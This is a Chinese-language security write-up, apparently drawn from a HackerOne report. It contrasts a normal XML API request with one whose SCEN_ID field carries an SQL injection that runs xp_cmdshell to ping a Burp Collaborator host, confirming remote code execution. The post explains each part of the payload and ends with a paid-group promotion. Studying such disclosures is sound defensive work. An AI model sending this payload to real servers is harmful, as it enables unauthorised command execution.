在正常使用中,API请求旨在合法地交互服务器以获取或更新数据。比如,本案例中,一个正常的API请求可能是查询某个特定场景对象的信息,如:
POST / HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 185<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="123" ExpectSigned="Yes" INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4" POINT_CODE="tzhr" lang="en"></REQUEST>
在这个示例中:
SCEN_ID="123":请求特定ID为123的场景对象。
ExpectSigned="Yes":这个标志要求请求应当是签名的,增加了请求的安全性。
INT_SOFT_ID:是一个内部软件识别码,用于验证请求来源。
其他参数如POINT_CODE和lang用于指定更具体的查询需求。
这个请求按照预期功能进行,不涉及任何恶意操作。
受到攻击后的请求
在受到攻击时,如SQL注入,请求会被操纵以执行未经授权的数据库操作。以下是一个受到SQL注入攻击的请求示例:
POST / HTTP/1.1
Host: contactws.contact-sys.com:3456
Content-Type: application/xml
Content-Length: 342<REQUEST OBJECT_CLASS="TScenObject" ACTION="ScenObjects" SCEN_ID="33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'" ExpectSigned="No" INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4" POINT_CODE="tzhr" lang="en"></REQUEST>
这是一个包含了一个具有SQL注入的XML请求体。这个请求利用了目标API的漏洞来执行远程代码(RCE),即在服务器上运行一个外部命令
<REQUEST ... >:
这是XML数据的根元素,包含了多个属性,用于定义请求的具体操作和参数。
OBJECT_CLASS="TScenObject":
指定请求操作的对象类别,这里是"TScenObject"。
ACTION="ScenObjects":
指定要执行的动作,这里是"ScenObjects",可能是查询或操作场景对象。
SCEN_ID="...":
这是关键的注入点。攻击者在这里注入了SQL代码。
33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP':
这段SQL注入试图做以下几件事:
通过;
结束前一个SQL语句(如果有)。
使用DECLARE语句声明一个变量@command
,并将一个ping命令字符串赋值给它。
使用EXEC Master.dbo.xp_cmdshell @command
执行这个ping命令。xp_cmdshell是SQL Server的一个扩展存储过程,允许执行操作系统级的命令。这里的ping命令用于发送ICMP包到一个指定的域名,这个域名通常由攻击者控制,用于收集来自被攻击服务器的数据。
最后一个SELECT 1 as 'STEP'
可能用于保持SQL语法的正确性,确保整个注入代码在语法上是合法的。
ExpectSigned="No":
表明这个请求不需要数字签名,可能是API设计上的一个安全漏洞,使得未经验证的请求更易被接受。
INT_SOFT_ID="DA61D1CE-757F-44C3-B3F7-11A026C37CD4":
内部软件标识,用于认证或追踪请求来源。
POINT_CODE="tzhr", lang="en":
其他可能用于指定操作或本地化设置的参数。
SCEN_ID 被设置为一串SQL注入代码,这些代码不仅试图查询ID为33的场景对象,还试图执行一个远程命令(通过xp_cmdshell)来发送ping到一个指定的外部服务器(使用Burp Collaborator等工具可以监测到这一ping请求,以此来确认远程代码执行的成功)。
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
https://hackerone.com/reports/816254